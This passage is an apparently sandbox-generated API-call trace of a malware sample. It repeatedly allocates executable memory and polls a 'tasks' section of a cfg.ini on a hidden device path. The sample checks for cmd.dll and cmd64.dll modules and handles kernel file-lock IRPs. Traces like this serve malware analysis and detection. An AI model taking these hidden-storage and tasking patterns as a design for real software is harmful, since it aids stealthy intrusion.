flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.480] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.480] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.480] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.480] KeEnterCriticalRegion () [0120.480] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.480] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.480] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.480] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.480] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.480] IdePortDispatch () returned 0x103 [0120.480] KeWaitForMutexObject () returned 0x0 [0120.480] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.480] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.480] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.480] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.480] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.480] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba010 [0120.480] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.480] KeLeaveCriticalRegion () [0120.481] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.481] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.481] KeEnterCriticalRegion () [0120.481] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.481] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.481] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.481] KeLeaveCriticalRegion () [0120.481] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.481] KeEnterCriticalRegion () [0120.481] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.481] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.481] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.481] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.481] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.481] IdePortDispatch () returned 0x103 [0120.481] KeWaitForMutexObject () returned 0x0 [0120.481] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.481] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.481] KeLeaveCriticalRegion () [0120.481] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.481] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.481] KeEnterCriticalRegion () [0120.481] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.481] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003475000 [0120.481] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.481] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.481] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.481] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.481] IdePortDispatch () returned 0x103 [0120.481] KeWaitForMutexObject () returned 0x0 [0120.482] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.482] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.482] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.482] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.482] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.482] IdePortDispatch () returned 0x103 [0120.482] KeWaitForMutexObject () returned 0x0 [0120.482] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.482] KeLeaveCriticalRegion () [0120.482] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.482] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.482] KeEnterCriticalRegion () [0120.482] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.482] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.482] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.482] KeLeaveCriticalRegion () [0120.482] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.482] KeEnterCriticalRegion () [0120.483] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.483] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.483] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbad30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.483] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.483] KeLeaveCriticalRegion () [0120.483] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.483] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.483] KeEnterCriticalRegion () [0120.483] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.483] ExFreePoolWithTag (P=0xfffffa8003bba010, Tag=0x0) [0120.483] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.483] KeLeaveCriticalRegion () [0120.483] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.483] ReleaseMutex (hMutex=0xf0) returned 1 [0120.483] Sleep (dwMilliseconds=0x927c0) [0120.498] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.498] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.498] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.498] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.498] KeEnterCriticalRegion () [0120.498] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.498] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.498] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.498] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.498] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.498] IdePortDispatch () returned 0x103 [0120.498] KeWaitForMutexObject () returned 0x0 [0120.498] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.498] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.498] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.498] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.498] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.498] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba6c0 [0120.498] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.498] KeLeaveCriticalRegion () [0120.498] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.498] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.498] KeEnterCriticalRegion () [0120.498] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.499] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.499] KeLeaveCriticalRegion () [0120.499] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.499] KeEnterCriticalRegion () [0120.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.499] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.499] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.499] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.499] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.499] IdePortDispatch () returned 0x103 [0120.499] KeWaitForMutexObject () returned 0x0 [0120.499] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.499] KeLeaveCriticalRegion () [0120.499] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.499] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.499] KeEnterCriticalRegion () [0120.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.499] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800347a000 [0120.499] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.499] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.499] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.499] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.499] IdePortDispatch () returned 0x103 [0120.499] KeWaitForMutexObject () returned 0x0 [0120.499] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.499] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.499] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.499] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.499] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.500] IdePortDispatch () returned 0x103 [0120.500] KeWaitForMutexObject () returned 0x0 [0120.500] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.500] KeLeaveCriticalRegion () [0120.500] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.500] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.500] KeEnterCriticalRegion () [0120.500] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.500] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.500] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.500] KeLeaveCriticalRegion () [0120.500] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.500] KeEnterCriticalRegion () [0120.500] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.500] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.500] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba780, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.500] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.500] KeLeaveCriticalRegion () [0120.500] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.500] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.501] KeEnterCriticalRegion () [0120.501] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.501] ExFreePoolWithTag (P=0xfffffa8003bba6c0, Tag=0x0) [0120.501] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.501] KeLeaveCriticalRegion () [0120.501] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.501] ReleaseMutex (hMutex=0xf0) returned 1 [0120.501] Sleep (dwMilliseconds=0x927c0) [0120.514] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.514] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.514] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.514] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.514] KeEnterCriticalRegion () [0120.514] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.514] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.514] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.514] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.514] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.515] IdePortDispatch () returned 0x103 [0120.515] KeWaitForMutexObject () returned 0x0 [0120.515] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.515] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.515] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.515] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.515] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.515] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba6c0 [0120.515] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.515] KeLeaveCriticalRegion () [0120.515] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.515] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.515] KeEnterCriticalRegion () [0120.515] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.515] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.515] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.515] KeLeaveCriticalRegion () [0120.515] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.515] KeEnterCriticalRegion () [0120.515] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.515] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.515] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.515] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.515] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.515] IdePortDispatch () returned 0x103 [0120.515] KeWaitForMutexObject () returned 0x0 [0120.515] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.515] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.515] KeLeaveCriticalRegion () [0120.515] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.516] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.516] KeEnterCriticalRegion () [0120.516] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.516] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800347f000 [0120.516] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.516] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.516] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.516] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.516] IdePortDispatch () returned 0x103 [0120.516] KeWaitForMutexObject () returned 0x0 [0120.516] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.516] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.516] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.516] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.516] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.516] IdePortDispatch () returned 0x103 [0120.516] KeWaitForMutexObject () returned 0x0 [0120.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.516] KeLeaveCriticalRegion () [0120.516] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.517] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.517] KeEnterCriticalRegion () [0120.517] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.517] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.517] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.517] KeLeaveCriticalRegion () [0120.517] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.517] KeEnterCriticalRegion () [0120.517] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.517] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.517] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba780, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.517] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.517] KeLeaveCriticalRegion () [0120.517] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.517] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.517] KeEnterCriticalRegion () [0120.517] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.517] ExFreePoolWithTag (P=0xfffffa8003bba6c0, Tag=0x0) [0120.517] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.517] KeLeaveCriticalRegion () [0120.517] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.517] ReleaseMutex (hMutex=0xf0) returned 1 [0120.517] Sleep (dwMilliseconds=0x927c0) [0120.531] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.531] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.531] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.531] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.531] KeEnterCriticalRegion () [0120.531] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.531] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.531] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.531] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.532] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.532] IdePortDispatch () returned 0x103 [0120.532] KeWaitForMutexObject () returned 0x0 [0120.532] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.532] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.532] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.532] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.532] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.532] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbadb0 [0120.532] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.532] KeLeaveCriticalRegion () [0120.532] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.532] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.532] 